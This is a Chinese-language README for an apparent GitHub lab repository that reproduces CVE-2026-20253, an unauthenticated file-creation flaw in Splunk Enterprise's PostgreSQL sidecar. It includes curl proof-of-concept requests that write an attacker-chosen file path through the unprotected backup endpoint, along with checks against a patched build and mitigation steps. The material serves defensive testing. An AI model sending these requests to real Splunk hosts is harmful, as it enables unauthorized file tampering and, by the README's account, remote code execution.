pssec-io/CVE-2026-20253
GitHub: pssec-io/CVE-2026-20253
该项目提供 CVE-2026-20253 Splunk Enterprise 免认证 RCE 漏洞的 Docker 实验环境与 PoC,帮助安全研究人员在隔离环境中复现和验证该严重漏洞。
Stars: 0 | Forks: 0
# CVE-2026-20253 — Splunk Enterprise 免认证 RCE 实验环境
## ⚠️ 免责声明
本仓库**仅供教育和授权的安全研究目的使用**。
所有测试必须针对您拥有或获得明确书面测试授权的基础设施进行。
作者对在此演示的技术或工具的滥用不承担任何责任。
**切勿在生产系统或您不拥有的环境中运行此工具。**
## 概述
CVE-2026-20253 影响 **10.2.4** 和 **10.0.7** 以下的 Splunk Enterprise 版本。
Splunk 捆绑的 PostgreSQL sidecar 服务暴露了两个内部 HTTP endpoint:
```
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
```
这两个 endpoint **均缺乏任何身份验证检查 (CWE-306)**,这意味着任何可访问网络的攻击者都可以在无需凭据的情况下调用它们。通过提供攻击者可控的 `backupFile` 参数,未经身份验证的用户可以在 Splunk 主机文件系统上创建或截断任意文件 —— 研究人员已将此原语串联成完整的免认证远程代码执行 (RCE)。
| 属性 | 详细信息 |
|-----------------|---------------------------------------------|
| CVE | CVE-2026-20253 |
| CVSS Score | 9.8 (严重) |
| CWE | CWE-306 — 关键功能缺失身份验证 |
| 受影响版本 | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| 修复版本 | 10.0.7, 10.2.4 |
| CISA KEV | 2026 年 6 月 18 日添加 |
## 仓库结构
```
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
```
## 前置条件
- Docker + Docker Compose v2
- 约 6 GB 可用磁盘空间(Splunk 镜像较大)
- Kali Linux 或任何安装有 `curl` 的 Linux 主机
## 使用说明
### 启动易受攻击的实例(端口 8000)
```
docker compose -f docker-compose.yml up -d --build
```
```
docker compose -f docker-compose.yml logs -f
# 当你看到 "Ansible playbook complete" 时即表示就绪
```
Splunk Web UI → http://localhost:8000
凭据: `admin` / `changeme`
### 启动已修复的实例(端口 8001)
```
docker compose -f patched-docker-compose.yml up -d --build
```
Splunk Web UI → http://localhost:8001
凭据: `admin` / `changeme`
## 测试
### 测试易受攻击的实例 → 预期 HTTP 400
```
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
```
**预期结果: `400`** — endpoint 存在,未强制进行身份验证,请求已被处理。
验证文件是否已在容器内创建:
```
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
```
### 测试已修复的实例 → 预期 HTTP 401
```
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
```
**预期结果: `401`** — 现已强制进行身份验证,请求被拒绝。
### 响应代码参考
| HTTP 状态 | 含义 |
|-------------|----------------------------------------------|
| `400` | **易受攻击** — 成功命中 endpoint,无身份验证检查 |
| `401` | **已修复** — 已强制身份验证 |
| `404` | Sidecar 不存在 / 路径错误 |
| `000` | 容器尚未就绪 |
### 可选:watchTowr 扫描器
watchTowr Labs 团队发布了一个检测脚本,可自动执行上述检查:
```
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
```
## 停止实验环境
```
# 停止 vulnerable
docker compose -f docker-compose.yml down
# 停止 patched
docker compose -f patched-docker-compose.yml down
```
## 修复方案
立即更新至已修复版本:
| 分支 | 修复版本 |
|--------|--------------|
| 10.2.x | **10.2.4** |
| 10.0.x | **10.0.7** |
如果您无法立即打补丁,请通过在 `server.conf` 中添加以下内容并重启 Splunk 来禁用 PostgreSQL sidecar:
```
[postgres]
disabled = true
```
## 参考资源
- 🔴 **Splunk 官方安全公告** — [SVD-2026-0603](https://advisory.splunk.com/advisories/SVD-2026-0603)
- 🔬 **watchTowr Labs 研究与检测工具** — [github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253](https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253/)
- 📋 **CISA KEV 条目** — [cisa.gov/known-exploited-vulnerabilities-catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- 📰 **The Hacker News 分析文章** — [严重 Splunk Enterprise 漏洞允许攻击者无需身份验证执行代码](https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html)
## 法律声明
此实验环境**仅供防御性安全研究和教育使用**。
根据《计算机欺诈和滥用法》(CFAA)、英国《计算机滥用法》及全球同等法律,未经授权访问计算机系统是违法行为。
请合理使用。
标签:Cutter, 版权保护, 请求拦截, 逆向工具